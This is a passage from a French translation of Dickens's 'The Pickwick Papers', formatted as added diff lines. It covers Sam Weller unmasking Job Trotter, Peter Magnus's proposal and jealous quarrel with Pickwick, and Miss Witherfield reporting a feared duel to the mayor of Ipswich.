+était entré. Il allait donc retourner sur ses pas, lorsqu'il fut
+pétrifié sur place par une apparition que nous allons décrire
+ci-dessous.
+
+M. Samuel Weller, était occupé à contempler les vieilles maisons de
+brique rouge, et malgré son abstraction profonde, lançait de temps en
+temps une oeillade assassine aux fraîches servantes qui ouvraient une
+fenêtre ou levaient une jalousie, lorsque la porte verte d'un jardin, au
+fond de la cour, s'ouvrit tout à coup. Un homme en sortit, qui referma
+soigneusement, après lui, ladite porte et s'avança d'un pas rapide vers
+l'endroit où se trouvait Sam.
+
+Or, si l'on prend ce fait isolément, et sans s'occuper des circonstances
+concomitantes, il n'a rien de fort extraordinaire, car, dans beaucoup de
+parties du monde, un homme peut sortir d'un jardin et fermer derrière
+lui une porte verte, il peut même s'éloigner d'un pas rapide, sans
+attirer pour cela l'attention publique. Il est donc clair qu'il devait y
+avoir, pour éveiller l'intérêt de Sam, quelque chose de particulier dans
+le costume de l'homme, ou dans l'homme lui-même, ou dans l'un et dans
+l'autre. C'est ce que le lecteur pourra facilement conclure, lorsque
+nous lui aurons décrit avec précision la conduite de l'individu dont il
+s'agit.
+
+Il avait donc fermé derrière lui la porte verte, il s'avançait dans la
+cour d'un pas rapide, comme nous l'avons déjà dit deux fois; mais il
+n'eut pas plus tôt aperçu M. Weller qu'il hésita, s'arrêta et parut ne
+pas trop savoir quel parti prendre. Cependant, comme la porte verte
+était fermée derrière lui, et comme il n'y avait pas d'autre issue que
+celle qui était devant lui, il ne fut pas longtemps à remarquer que,
+pour sortir de là, il fallait nécessairement passer devant M. Samuel
+Weller. Il reprit donc son pas délibéré et s'avança en regardant droit
+devant lui. Ce qu'il y avait de plus extraordinaire dans cet homme,
+c'est la façon hideuse dont il contournait ses traits, faisant les
+grimaces les plus étonnantes et les plus effroyables qu'on ait jamais
+vues. Jamais l'oeuvre de la nature n'avait été déguisée plus artistement
+que ne le fut en un instant le visage en question.
+
+«Parole d'honneur, se dit Sam à lui-même, en voyant approcher le quidam,
+voilà qui est drôle! j'aurais juré que c'était lui!»
+
+L'homme avançait toujours, et à mesure qu'il s'approchait, sa figure
+devenait de plus en plus bouleversée.
+
+«Je pourrais prêter serment, quant à ces cheveux noirs et à cet habit
+violet; mais c'est bien sûr la première fois que je vois cette
+boule-là.»
+
+Pendant ce soliloque, la physionomie de l'étranger avait pris un aspect
+surnaturel et parfaitement hideux. Cependant il fut obligé de passer
+très-près de Sam, et un regard scrutateur de celui-ci lui permit de
+découvrir, sous ce masque de contorsions effrayantes, quelque chose qui
+ressemblait trop aux petits yeux de M. Job Trotter pour qu'il fût
+possible de s'y tromper.
+
+«Ohé! monsieur!» cria Sam d'une voix irritée.
+
+L'étranger s'arrêta.
+
+«Ohé!» répéta Sam d'une voix encore plus féroce.
+
+L'homme à l'horrible visage regarda avec la plus grande surprise au fond
+de la cour, à l'entrée de la cour, aux fenêtres de chaque maison,
+partout enfin, excepté du côté de Sam Weller; puis il fit un autre pas
+en avant, mais il fut arrêté par un nouveau hurlement de Sam:
+
+«Ohé! monsieur!»
+
+Il n'y avait plus moyen de prétendre méconnaître d'où venait la voix, et
+l'étranger, n'ayant pas d'autre ressource, regarda Sam en face.
+
+«Ça ne prend pas, Job Trotter, dit celui-ci. Allons! allons! pas de
+bêtises. Vous n'êtes pas assez beau naturellement pour vous permettre de
+vous gâter comme ça la physionomie. Remettez-moi vos petits yeux à leur
+place, ou bien je les enfoncerai dans votre tête. M'entendez-vous!»
+
+Comme M. Weller paraissait disposé à agir suivant la lettre et l'esprit
+de ce discours, M. Trotter permit peu à peu à son visage de reprendre
+son expression habituelle, et tout à coup, tressaillant de joie, il
+s'écria:
+
+«Que vois-je? monsieur Walker!
+
+--Ha! reprit Sam, vous êtes bien content de me rencontrer, n'est-ce pas?
+
+--Content! s'écria Job Trotter enchanté! Oh! monsieur Walker, si vous
+saviez combien j'ai désiré cette rencontre! Mais c'en est trop pour ma
+sensibilité, monsieur Walker; je ne puis pas contenir ma joie; en vérité
+je ne le puis pas!»
+
+En sanglotant ces paroles, M. Trotter répandit un véritable déluge de
+pleurs, et, jetant ses bras autour de ceux de Sam, il l'embrassa
+étroitement, avec un transport d'affection.
+
+«A bas les pattes! lui cria Sam, grandement indigné de cette conduite,
+et s'efforçant inutilement de se soustraire aux embrassements de son
+enthousiaste connaissance. A bas les pattes! vous dis-je. Pourquoi me
+pleurez-vous comme ça sur le dos, pompe à incendie?
+
+--Parce que je suis si content de vous voir, répliqua Job Trotter, en
+relâchant Sam, à mesure que les symptômes de son courroux diminuaient.
+Ah! monsieur Walker, c'en est trop!
+
+--Trop? Je le crois bien! Voyons, qu'avez-vous à me dire, eh?»
+
+M. Trotter ne fit pas de réplique, car le petit mouchoir rouge était en
+pleine activité.
+
+«Qu'avez-vous à me dire avant que je vous casse la tête? répéta Sam
+d'une manière menaçante.
+
+--Hein? fit M. Trotter d'un ton de vertueuse surprise.
+
+--Qu'est-ce que vous avez à me dire?
+
+--Mais, monsieur Walker!...
+
+--Ne m'appelez pas Walker; je me nomme Weller, vous le savez bien.
+Qu'est-ce que vous avez à me dire?
+
+--Dieu vous bénisse, monsieur Walker,... je veux dire Weller.... Bien
+des choses, si vous voulez venir quelque part où nous puissions parler à
+notre aise. Si vous saviez comme je vous ai cherché, monsieur Weller!
+
+--Très-soigneusement je suppose, reprit Sam, sèchement.
+
+--Oh! oui, monsieur, en vérité! affirma M. Trotter sans qu'on vit remuer
+un muscle de sa physionomie. Donnez-moi une poignée de main, M. Weller.»
+
+Sam considéra pendant quelques secondes son compagnon, et ensuite,
+comme poussé par un soudain mouvement, il lui tendit la main.
+
+«Comment va votre bon cher maître, demanda Job à Sam, tout en cheminant
+avec lui. Oh! c'est un digne gentleman, monsieur Weller. J'espère qu'il
+n'a pas attrapé de fraîcheurs dans cette épouvantable nuit.»
+
+Une expression momentanée de malice étincela dans l'oeil de Job, pendant
+qu'il prononçait ces paroles. Sam s'en aperçut, et ressentit dans son
+poing fermé une violente démangeaison, mais il se contint et répondit
+simplement que son maître se portait très-bien.
+
+«Oh! que j'en suis content. Est-il ici?
+
+--Et le vôtre y est-il?
+
+--Hélas! oui, il est ici. Et ce qui me peine à dire, monsieur Weller,
+c'est qu'il s'y conduit plus mal que jamais.
+
+--Ah! ah!
+
+--Oh! ça fait frémir! c'est terrible!
+
+--Dans une pension de demoiselles?
+
+--Non! non! pas dans une pension, répliqua Job avec le même regard
+malicieux que Sam avait déjà remarqué, pas dans une pension.
+
+--Dans la maison avec une porte verte? demanda Sam en regardant
+attentivement son compagnon.
+
+--Non! non! oh! non pas là! répondit Job avec une vivacité qui ne lui
+était pas habituelle. Pas là!
+
+--Que faisiez-vous là vous-même? reprit Sam avec un regard perçant. Vous
+y êtes entré par accident, peut-être?
+
+--Voyez-vous, monsieur Weller, je ne regarde pas à vous dire mes petits
+secrets, parce que, comme vous savez, nous avons eu tant de goût l'un
+pour l'autre la première fois que nous nous sommes rencontrés. Vous vous
+rappelez la charmante matinée que nous avons passée ensemble.
+
+--Eh! oui, répliqua Sam, je m'en souviens. Eh bien!
+
+--Eh bien! poursuivit Job avec grande précision et du ton peu élevé d'un
+homme qui communique un secret important. Dans cette maison à la porte
+verte, monsieur Weller, il y a beaucoup de domestiques.
+
+--Je m'en doute bien, interrompit Sam.
+
+--Oui, et il y a une cuisinière qui a épargné quelque chose, monsieur
+Weller, et qui désire ouvrir une petite boutique d'épicerie, voyez-vous.
+
+--Oui dà?
+
+--Oui, monsieur Weller, hé bien! monsieur, je l'ai rencontrée à une
+petite chapelle où je vais. Une bien jolie petite chapelle de cette
+ville, monsieur Weller, où on chante ce recueil d'hymnes que je porte
+habituellement sur moi et que vous avez peut-être vu entre mes mains, et
+j'ai fait connaissance avec elle, monsieur Weller; et puis il s'est
+établi une petite intimité, et je puis me hasarder à dire que je compte
+devenir l'épicier.
+
+--Ah! et vous ferez un très-aimable épicier, répliqua Sam en examinant
+de côté M. Trotter avec un profond dégoût.
+
+--Le grand avantage de ceci, monsieur Weller, continua Job, dont les
+yeux se remplissaient de larmes; le grand avantage de ceci c'est que je
+pourrai quitter le service déshonorant de ce méchant homme, et me
+dévouer tout entier à une vie meilleure et plus vertueuse. Une vie plus
+conforme à la manière dont j'ai été élevé, monsieur Weller.
+
+--Vous devez avoir été joliment éduqué, hein?
+
+--Oh! avec un soin! avec un soin incroyable, monsieur Weller! et en se
+rappelant la pureté de son enfance, M. Trotter tira de nouveau le
+mouchoir rose et pleura copieusement.
+
+--Qu'on devait être heureux d'aller à l'école avec un enfant aussi pieux
+que vous!
+
+--Je crois bien, monsieur, répliqua Job en poussant un profond soupir.
+J'étais l'idole de l'école.
+
+--Ah! ça ne m'étonne pas. Quelle consolation vous deviez être pour votre
+bénite mère!»
+
+En entendant ces mots Job inséra un bout du mouchoir rose dans le coin
+de chacun de ses yeux, et recommença à fondre en larmes.
+
+«Qu'est-ce qu'il a maintenant, s'écria Sam, rempli d'indignation. La
+pompe à feu n'est rien auprès de lui. Qu'est-ce qui vous fait fondre en
+eau maintenant? La conscience de votre coquinerie, pas vrai?
+
+--Je ne puis pas modérer ma sensibilité, monsieur Weller reprit Job
+après une courte pause. Quand je songe que mon maître a soupçonné la
+conversation que j'avais eue avec le vôtre, et qu'il m'a emmené en
+chaise de poste, après avoir engagé la jeune lady à dire qu'elle ne le
+connaissait pas et après avoir gagné la maîtresse de pension! Ah!
+monsieur Weller, cela me fait frissonner!
+
+--Ah! c'est comme ça que la chose s'est passée, hein?
+
+--Sans doute, répliqua Job.»
+
+Tout en parlant ainsi les deux amis étaient arrivés près de l'hôtel.
+Sam dit alors à son compagnon: «Si ça ne vous dérangeait pas trop, Job,
+je voudrais bien vous voir au _Grand Cheval blanc_, ce soir, vers les
+huit heures.
+
+--Je n'y manquerai pas.
+
+--Et vous ferez bien, reprit Sam avec un regard expressif. Autrement je
+pourrais aller demander de vos nouvelles de l'autre côté de la porte
+verte; et alors ça pourrait vous nuire, vous voyez.
+
+--Je viendrai, sans faute, répéta Job, et il s'éloigna après avoir donné
+à Sam une chaleureuse poignée de main.
+
+--Prends garde, Job Trotter, prends garde à toi, dit Sam en le regardant
+partir; car je pourrais bien t'enfoncer, cette fois.» Ayant terminé ce
+monologue et suivi Job des yeux jusqu'au détour de la rue, Sam rentra et
+monta à la chambre de son maître.
+
+«Tout est en train, monsieur, lui dit-il.
+
+--Qu'est-ce qui est en train, Sam?...
+
+--Je les ai trouvés, monsieur.
+
+--Trouvé qui?
+
+--Votre bonne pratique, et le pleurnichard aux cheveux noirs.
+
+--Impossible! s'écria M. Pickwick avec la plus grande énergie. Où
+sont-ils, Sam! où sont-ils?
+
+--Chut! chut!» répéta le fidèle valet, et tout en aidant son maître à
+s'habiller, il lui détailla le plan de campagne qu'il avait dressé.
+
+«Mais quand cela se fera-t-il, Sam?
+
+--Au bon moment, monsieur, au bon moment.»
+
+Le lecteur apprendra dans le subséquent chapitre, si cela fut fait au
+bon moment.
+
+
+
+
+CHAPITRE XXIV.
+
+Dans lequel M. Peter Magnus devient jaloux, et la dame d'un certain âge,
+craintive; ce qui jette les pickwickiens dans les griffes de la justice.
+
+
+Quand M. Pickwick descendit dans la chambre où il avait passé la soirée
+précédente avec M. Peter Magnus, il le trouva en train de se promener
+dans un état nerveux d'agitation et d'attente, et remarqua que ce
+gentleman avait disposé, au plus grand avantage possible de sa personne,
+la majeure partie du contenu des deux sacs, du carton à chapeau, et du
+paquet papier gris.
+
+«Bonjour, monsieur, dit M. Magnus. Comment trouvez-vous ceci, monsieur?
+
+--Tout à fait meurtrier, répondit M. Pickwick en examinant avec un
+sourire de bonne humeur le costume du prétendant.
+
+--Oui, je pense que cela fera l'affaire, monsieur Pickwick; monsieur,
+j'ai envoyé ma carte.
+
+--Vraiment!
+
+--Oui, et le garçon est venu me dire qu'elle me recevrait à onze heures.
+A onze heures, monsieur, et il ne s'en faut plus que d'un quart d'heure
+maintenant.»
+
+Ah! c'est bientôt!
+
+«Oui, c'est bientôt! Trop tôt, peut-être, pour que ce soit agréable. Eh!
+monsieur Pickwick, monsieur.
+
+--La confiance en soi-même est une grande chose dans ces cas là.
+
+--Je le crois, monsieur. J'ai beaucoup de confiance en moi-même.
+Réellement, monsieur Pickwick, je ne vois pas pourquoi un homme
+sentirait la moindre crainte dans une circonstance semblable. Quoi de
+plus simple en somme, monsieur? il n'y a rien là de déshonorant. C'est
+une affaire de convenances mutuelles, rien de plus. Mari d'un côté,
+femme de l'autre. C'est là mon opinion de la matière, monsieur Pickwick.
+
+--Et c'est une opinion très-philosophique. Mais le déjeuner nous attend,
+monsieur Magnus, allons.»
+
+Ils s'assirent pour déjeuner; cependant malgré les vanteries de M.
+Magnus, il était évident qu'il se trouvait sous l'influence d'une grande
+agitation, dont les principaux symptômes étaient des essais lugubres de
+plaisanterie, la perte de l'appétit, une propension à renverser les
+tasses et la théière, et une inclination irrésistible à regarder la
+pendule, toutes les deux secondes.
+
+«Hi! hi! hi! balbutia-t-il en affectant de la gaieté, mais en tremblant
+d'agitation; il ne s'en faut plus que de deux minutes, monsieur
+Pickwick. Suis-je pâle, monsieur?
+
+--Pas trop.»
+
+Il y eut un court silence.
+
+«Je vous demande pardon, monsieur Pickwick. Avez-vous jamais fait cette
+sorte de chose, dans votre temps?
+
+--Vous voulez dire une demande en mariage?
+
+--Oui.
+
+--Jamais! répliqua M. Pickwick avec grande énergie, jamais!
+
+--Alors vous n'avez pas d'idées sur la meilleure manière d'entrer en
+matière?
+
+--Eh! je puis avoir quelques idées à ce sujet; mais comme je ne les ai
+jamais soumises à la pierre de touche de l'expérience, je serais fâché
+si vous vous en serviez pour régler votre conduite.
+
+M. Magnus jeta un autre coup d'oeil à la pendule: l'aiguille marquait
+cinq minutes après onze heures. Il se retourna vers M. Pickwick en lui
+disant: «Malgré cela, monsieur, je vous serai bien obligé de me donner
+un avis.
+
+--Eh bien! monsieur, répondit le savant homme avec la solennité profonde
+qui rendait ses remarques si impressives quand il jugeait qu'elles en
+valaient la peine; je commencerais, monsieur, par payer un tribut à la
+beauté et aux excellentes qualités de la dame. De là, monsieur, je
+passerais à ma propre indignité.
+
+--Très-bien, s'écria M. Magnus.
+
+--Indignité, par rapport à _elle_ seule, monsieur. Faites bien attention
+à cela; car pour montrer que je ne serais pas _absolument_ indigne, je
+ferais une courte revue de ma vie passée et de ma condition présente:
+j'établirais, par analogie, que je serais un objet très-désirable pour
+toute autre personne. Ensuite je m'étendrais sur la chaleur de mon
+amour, et sur la profondeur de mon dévouement. Peut-être pourrais-je,
+alors, essayer de m'emparer de sa main.
+
+--Oui, je vois. Cela serait un grand point.
+
+--Ensuite, continua M. Pickwick, en s'échauffant à mesure que son sujet
+se présentait devant lui sous des couleurs plus brillantes; ensuite j'en
+viendrais à cette simple question: Voulez-vous de moi? Je crois pouvoir
+supposer raisonnablement que la dame détournerait la tête....
+
+--Pensez-vous qu'on puisse prendre cela pour accordé? interrompit M.
+Magnus. Parce que, voyez-vous, si elle ne détournait pas la tête au
+moment précis, cela serait embarrassant.
+
+--Je crois qu'elle la détournerait à ce moment-là, monsieur; et
+là-dessus je saisirais sa main, et je pense, _je pense_, monsieur
+Magnus, qu'après avoir fait cela, supposant qu'elle n'eût point proféré
+de refus, je retirerais doucement le mouchoir qu'elle aurait porté à ses
+yeux, si ma faible connaissance de la nature humaine ne me trompe point,
+et je déroberais un baiser respectueux: oui, je pense que je le
+déroberais; et je suis convaincu que dans cet instant même, si la dame
+devait m'accepter, elle murmurerait à mon oreille un pudique
+consentement.»
+
+M. Magnus se leva de sa chaise, regarda pendant quelque temps M.
+Pickwick en silence et avec un regard intelligent, puis il lui secoua
+chaleureusement la main et s'élança, en désespéré, hors de la porte.
+L'aiguille de la pendule marquait onze heures dix minutes.
+
+M. Pickwick fit quelques tours dans la chambre, et l'aiguille suivant
+son exemple, était arrivée à la figure qui indique la demi-heure,
+lorsque la porte s'ouvrit soudainement. M. Pickwick se retourna pour
+féliciter M. Magnus, mais à sa place il aperçut la joyeuse physionomie
+de M. Tupman, la figure guerrière de M. Winkle, et les traits
+intellectuels de M. Snodgrass.
+
+Pendant que M. Pickwick les complimentait, M. Peter Magnus se précipita
+dans l'appartement.
+
+«Mes bons amis, dit le philosophe, voici le gentleman dont je vous
+parlais, M. Magnus.
+
+--Votre serviteur, messieurs, dit M. Magnus qui était évidemment dans un
+état d'exaltation. Monsieur Pickwick, permettez-moi de vous parler un
+moment, monsieur.»
+
+En prononçant ces mots M. Magnus insinua son index dans une des
+boutonnières de M. Pickwick, et l'attirant dans l'ouverture d'une
+fenêtre: «Félicitez-moi, monsieur Pickwick; j'ai suivi votre avis à la
+lettre.
+
+--Était-il bon?
+
+--Oui, monsieur, il ne pouvait pas être meilleur. Elle est à moi,
+monsieur Pickwick.
+
+--Je vous en félicite de tout mon coeur, répondit le philosophe, en
+secouant cordialement la main de sa nouvelle connaissance.
+
+--Il faut que vous la voyiez, monsieur. Par ici, s'il vous plaît.
+Excusez-nous pour un instant, messieurs.» En parlant ainsi l'amant
+triomphant entraîna rapidement M. Pickwick hors de la chambre, s'arrêta
+à la porte voisine dans le corridor, et y tapa doucement.
+
+«Entrez,» dit une voix de femme.
+
+Ils entrèrent.
+
+«Miss Witherfield[26], dit M. Magnus, permettez-moi de vous présenter un
+de mes meilleurs amis, M. Pickwick.--Monsieur Pickwick, permettez-moi de
+vous présenter à miss Witherfield.»
+
+[Footnote 26: En français: De champ sec.]
+
+La dame était à l'autre bout de la chambre. M. Pickwick la salua, et en
+même temps, tirant adroitement ses lunettes de sa poche, il les ajusta
+sur son nez; mais à peine les y avait-il posées qu'il poussa une
+exclamation de surprise, et recula plusieurs pas. La dame, de son côté,
+jetait un cri involontaire, cachait son visage dans ses mains, et se
+laissait tomber sur sa chaise; tandis que M. Peter Magnus, qui semblait
+pétrifié sur la place, les contemplait tour à tour avec une physionomie
+défigurée par un excès d'étonnement et d'horreur.
+
+Un semblable coup de théâtre paraît inexplicable; mais le fait est que
+M. Pickwick, aussitôt qu'il avait mis ses lunettes, avait reconnu tout à
+coup, dans la future Mme Magnus, la dame chez laquelle il s'était si
+odieusement introduit la nuit précédente; et qu'à peine lesdites
+lunettes avaient-elles croisé le nez de M. Pickwick, lorsque la dame
+s'aperçut de l'identité de sa physionomie avec celle qu'elle avait vue,
+environnée de toutes les horreurs d'un bonnet de coton. En conséquence
+la dame cria et le philosophe tressaillit.
+
+«Monsieur Pickwick, que signifie cela, monsieur? Dites-moi ce que
+signifie cela, monsieur? s'écria M. Magnus d'un ton de voix élevé et
+menaçant.
+
+--Monsieur, je refuse de répondre à cette question, répliqua M.
+Pickwick, un peu échauffé par la manière soudaine dont M. Magnus l'avait
+interrogé, au mode impératif.
+
+--Vous le refusez, monsieur?
+
+--Oui, monsieur. Je ne consentirai pas, sans la permission de cette
+dame, à dire quelque chose qui puisse la compromettre, ou réveiller dans
+son sein de désagréables souvenirs.
+
+--Miss Witherfield, reprit M. Magnus, connaissez-vous monsieur?
+
+--Si je le connais? répondit en hésitant la dame d'un certain âge.
+
+--Oui, si vous le connaissez! Je demande si vous le connaissez? répéta
+M. Magnus avec férocité.
+
+--Je l'ai déjà vu, balbutia la dame.
+
+--Où? demanda M. Magnus, où, madame?
+
+--Voilà, dit la dame en se levant et détournant la tête; voilà ce que je
+ne révélerais pas pour un empire....
+
+--Je vous comprends, madame, interrompit M. Pickwick, et je respecte
+votre délicatesse. Cela ne sera jamais divulgué par moi. Vous pouvez y
+compter.
+
+--Sur ma parole, madame! reprit M. Magnus, avec un amer ricanement, sur
+ma parole, madame! vu la situation où je suis placé vis-à-vis de vous,
+vous vous conduisez, vis-à-vis de moi, avec assez de sang-froid, assez
+de sang-froid, madame!
+
+--Cruel monsieur Magnus!» balbutia la dame d'un certain âge, et elle se
+prît à pleurer abondamment.
+
+M. Pickwick s'interposa. «Adressez-moi vos observations, monsieur. S'il
+y a quelqu'un de blâmable ici, c'est moi seul.
+
+--Ah! c'est vous seul qui êtes blâmable, monsieur! Je vois, je vois.
+Oui, je comprends, monsieur. Vous vous repentez de votre détermination,
+maintenant.
+
+--Ma détermination! répéta M. Pickwick.
+
+--Votre détermination, monsieur. Oh! ne me regardez pas comme cela,
+monsieur. Je me rappelle vos paroles d'hier au soir. Vous êtes venu ici
+pour démasquer la fausseté et la trahison d'une personne, dans la bonne
+foi de laquelle vous aviez placé une entière confiance. Eh! monsieur?»
+Ici M. Peter Magnus se laissa aller à un ricanement prolongé; puis ôtant
+ses lunettes bleues, qu'il jugea probablement superflues dans un accès
+de jalousie, il se mit à rouler ses petits yeux d'une manière
+effrayante.
+
+«Eh? dit-il, sur nouveaux frais en répétant son ricanement, avec un
+effet redoublé. Mais vous m'en répondrez, monsieur!
+
+--De quoi répondrai-je? demanda M, Pickwick.
+
+--Ne vous inquiétez pas, monsieur! vociféra M. Magnus en arpentant la
+chambre; ne vous inquiétez pas!»
+
+Il faut que ces quatre mots aient une signification fort étendue, car
+nous ne nous rappelons pas d'avoir jamais observé une querelle dans la
+rue, au spectacle, dans un bal public, ou ailleurs, dans laquelle cette
+phrase ne servit pas de réponse principale à toutes les questions
+belliqueuses. «Croyez-vous être un gentleman, monsieur? Ne vous
+inquiétez pas, monsieur!--Est-ce que j'ai dit quelque chose à la jeune
+femme, monsieur? Ne vous inquiétez pas, monsieur!--Avez-vous envie de
+vous faire casser les reins, monsieur? Ne vous inquiétez pas, monsieur!»
+En même temps il faut observer qu'il semble y avoir une provocation
+cachée dans cet universel _ne vous inquiétez pas_; car il éveille dans
+le sein des individus auxquels il s'adresse plus de courroux qu'une
+grave injure.
+
+Nous ne prétendons pas cependant que l'application de cette expression à
+M. Pickwick remplit son âme de l'indignation qu'elle aurait
+infailliblement excitée dans un esprit vulgaire. Nous racontons
+simplement le fait. En entendant ces mots, M. Pickwick ouvrit la porte
+de la chambre, et cria brusquement.
+
+«Tupman, venez ici!»
+
+M. Tupman arriva immédiatement avec un air de considérable surprise.
+
+«Tupman, dit M. Pickwick, un secret de quelque délicatesse et qui
+concerne cette dame est la cause d'un différend qui vient de s'élever
+entre ce gentleman et moi-même. Mais je l'assure, devant vous, que ce
+secret n'a aucune relation avec lui-même, ni aucun rapport avec ses
+affaires. Après cela je n'ai pas besoin de vous faire remarquer que s'il
+continuait à en douter, il douterait en même temps de ma véracité, ce
+que je considérerais comme une insulte personnelle.»
+
+A ces mots, le philosophe lança à M.P. Magnus un regard qui renfermait
+toute une encyclopédie de menaces.
+
+La figure honorable et assurée de M. Pickwick, jointe à la force, à
+l'énergie du langage qui le distinguaient si éminemment, auraient porté
+la conviction dans tout esprit raisonnable; mais malheureusement, dans
+l'instant en question, l'esprit de M. Peter Magnus n'était nullement
+dans un état raisonnable. Au lieu donc de recevoir, d'une manière
+convenable l'explication du philosophe, il procéda immédiatement à se
+monter sur un diapason dévorant de colère et de menaces, parlant avec
+rage de ce qui était dû à sa délicatesse, à sa sensibilité, et donnant
+de la force à ses déclamations en marchant furieusement à travers la
+chambre, et en arrachant ses cheveux; amusement qu'il interrompait
+quelquefois pour agiter son poing sous le nez philanthropique de M.
+Pickwick.
+
+Cependant, fort de sa rectitude et de son innocence, contrarié d'avoir
+malheureusement embarrassé la dame d'un certain âge, dans une affaire
+aussi désagréable, M. Pickwick, à son tour, était dans une disposition
+moins paisible qu'à son ordinaire. En conséquence, on parla plus
+vivement; on se servit de plus gros mots, et à la fin, M. Magnus dit à
+M. Pickwick qu'il aurait bientôt de ses nouvelles. M. Pickwick, avec une
+politesse digne de louange, lui répondit que le plus tôt serait le
+mieux. A ces mots la dame d'un certain âge se précipita en pleurant hors
+de la chambre, et M. Tupman entraîna son savant ami, abandonnant le
+prétendu désappointé à ses sombres méditations.
+
+Si la dame d'un certain âge avait vécu dans la société, ou si elle avait
+tant soit peu connu les coutumes et les manières de ceux qui font les
+lois et établissent les modes, elle aurait su que cette espèce de
+férocité est la chose du monde la plus innocente. Mais elle avait
+principalement habité la province, n'avait jamais lu les débats
+parlementaires, et était peu versée, par conséquent, dans le code
+d'honneur raffiné des nations civilisées. Aussitôt donc qu'elle eut
+gagné sa chambre à coucher et soigneusement verrouillé sa porte, elle
+commença à méditer sur les scènes dont elle venait d'être témoin. Des
+idées de massacre et de carnage se présentèrent à son imagination, et,
+dans cette fantasmagorie, le tableau le moins sanglant représentait M.
+Peter Magnus, enrichi d'une livre de plomb dans le côté gauche, et
+rapporté à l'hôtel sur un brancard. Plus la dame d'un certain âge
+méditait, plus elle était épouvantée, et à la fin elle se détermina à
+aller trouver le principal magistrat de la ville, et à le requérir de
+faire empoigner sans délai M. Pickwick et M. Tupman.
+
+La dame d'un certain âge fut poussée à prendre ce parti par un grand
+nombre de considérations; mais la principale était la preuve
+incontestable qu'elle donnerait ainsi à M. Peter Magnus du dévouement
+qu'elle lui avait voué, de l'anxiété qu'elle ressentait pour le salut
+de sa personne. Elle connaissait trop bien la jalousie de son
+tempérament, pour s'aventurer à faire la plus légère allusion à la cause
+réelle de son agitation, en voyant M. Pickwick, et elle se fiait à son
+influence et à ses moyens de persuasion, pour apaiser le petit homme,
+pourvu que l'objet de ses soupçons fût éloigné, et qu'il ne s'élevât
+plus de nouvelles occasions de querelles. La tête remplie de ces
+réflexions, elle ajusta son chapeau et son châle, et se rendit en droite
+ligne au domicile du maire.
+
+Or, George Nupkins, esquire, maire de la ville d'Ipswich, était un grand
+personnage; si grand qu'un bon marcheur pourrait à peine en rencontrer
+un semblable entre le lever et le coucher du soleil, même le 21 juin,
+jour qui lui offrirait naturellement le plus de chances pour cette
+recherche, puisque, suivant tous les almanachs, c'est le plus long jour
+de l'année. Dans la matinée en question, M. Nupkins se trouvait dans un
+état d'irritation extrême, car il y avait eu une rébellion dans la
+ville. Tous les externes de la plus grande école avaient conspiré pour
+briser les carreaux d'une marchande de pommes qui leur déplaisait; ils
+avaient hué le bedeau; ils avaient jeté des pierres à la police chargée
+de comprimer l'émeute, et représentée par un bonhomme en bottes à
+revers, qui remplissait ses fonctions depuis au moins un quart de
+siècle. M. Nupkins était donc assis dans sa bergère, fronçant
+majestueusement ses sourcils et bouillant de rage, lorsqu'une dame fut
+annoncée pour une affaire pressante, importante, particulière. M.
+Nupkins, prenant un air calme et terrible, donna ordre d'introduire la
+dame, et cet ordre, comme tous ceux des magistrats, des empereurs et des
+autres puissances de la terre, ayant été immédiatement exécuté, miss
+Witherfield, dont l'agitation était visible et intéressante, se présenta
+devant le grand homme.
+
+«Muzzle! dit le magistrat.»
+
+Muzzle était un domestique rabougri, dont le coffre était long, les
+jambes courtes.
+
+«Muzzle!
+
+--Oui, Votre Honneur.
+
+--Donnez un fauteuil, et quittez la chambre.
+
+--Oui, Votre Vénération.
+
+--Maintenant, madame, voulez-vous exposer votre affaire.
+
+--Elle est d'une nature très-pénible, monsieur.
+
+--Je ne dis pas le contraire, madame. Calmez-vous madame, (Ici M.
+Nupkins prit un air de douceur.) Et dites-moi quelle affaire légale
+vous amène devant moi, madame. (Ici le magistrat reprit le dessus et M.
+Nupkins se donna un air sévère et grandiose.)
+
+--Il est fort affligeant pour moi, monsieur, de vous faire cette
+dénonciation. Mais je crains bien qu'il n'y ait un duel ici.
+
+--Ici, madame?--Où madame?
+
+--Dans Ipswich.
+
+--Dans Ipswich! madame. Un duel dans Ipswich! s'écria le magistrat
+parfaitement stupéfait à cette seule idée. Impossible, madame! Rien de
+la sorte ne peut arriver dans cette ville; j'en suis persuadé. Dieu du
+ciel! madame, connaissez-vous l'activité de notre magistrature locale?
+N'avez-vous pas entendu dire, madame, que le quatre mai passé, suivi
+seulement par soixante constables spéciaux, je me précipitai entre deux
+boxeurs, et qu'au risque d'être sacrifié aux passions furieuses d'une
+multitude irritée, j'empêchai une rencontre pugilastique entre le
+champion de Middlesex et celui de Suffolk. Un duel dans Ipswich, madame!
+Je ne le pense pas. Non, je ne pense pas qu'il puisse y avoir deux
+mortels assez audacieux pour projeter un tel attentat dans cette ville.
+
+--Ce que j'ai l'honneur de vous dire n'est malheureusement que trop
+exact, reprit la dame d'un certain âge. J'étais présente à la querelle.
+
+--C'est la chose la plus extraordinaire! s'écria le magistrat étonné.
+Muzzle!
+
+--Oui, Votre Vénération.
+
+--Envoyez-moi M. Jinks, sur-le-champ, à l'instant même.
+
+--Oui, Votre Vénération.»
+
+Muzzle se retira, et bientôt on vit entrer dans la chambre un clerc
+d'âge raisonnable, mal vêtu, et évidemment mal nourri, comme
+l'annonçaient son visage pâle et son nez aigu.
+
+--Monsieur Jinks, dit le magistrat, monsieur Jinks.
+
+--Monsieur, répliqua Jinks.
+
+--Cette dame est venue ici pour nous informer d'un duel qui doit avoir
+lieu dans cette ville.»
+
+M. Jinks, ne sachant pas exactement que dire, sourit d'un sourire
+d'inférieur.
+
+«De quoi riez-vous, monsieur Jinks?» demanda le magistrat.
+
+M. Jinks prit à l'instant un air sérieux.
+
+«Monsieur Jinks, poursuivit le magistrat, vous êtes un sot, monsieur.
+(M. Jinks regarda humblement le grand homme, et mordit le haut de sa
+plume.) Vous pouvez voir quelque chose de très-comique dans cette
+information, monsieur; mais je vous dirai, monsieur Jinks, que vous avez
+très-peu de raisons de rire.»
+
+Le clerc à l'air affamé soupira, comme un homme convaincu qu'il avait en
+effet fort peu de motifs d'être gai. Puis, ayant reçu l'ordre de noter
+la déposition de la dame, il se glissa jusqu'à son siége, et se mit à
+écrire.
+
+«Ce Pickwick est le principal, à ce que j'entends, dit le magistrat,
+lorsque la déclaration fut terminée.
+
+--Oui, monsieur, répondit la dame d'un certain âge.
+
+--Et l'autre perturbateur? Quel est son nom, monsieur Jinks?
+
+--Tupman, monsieur.
+
+--Tupman est le témoin, madame?
+
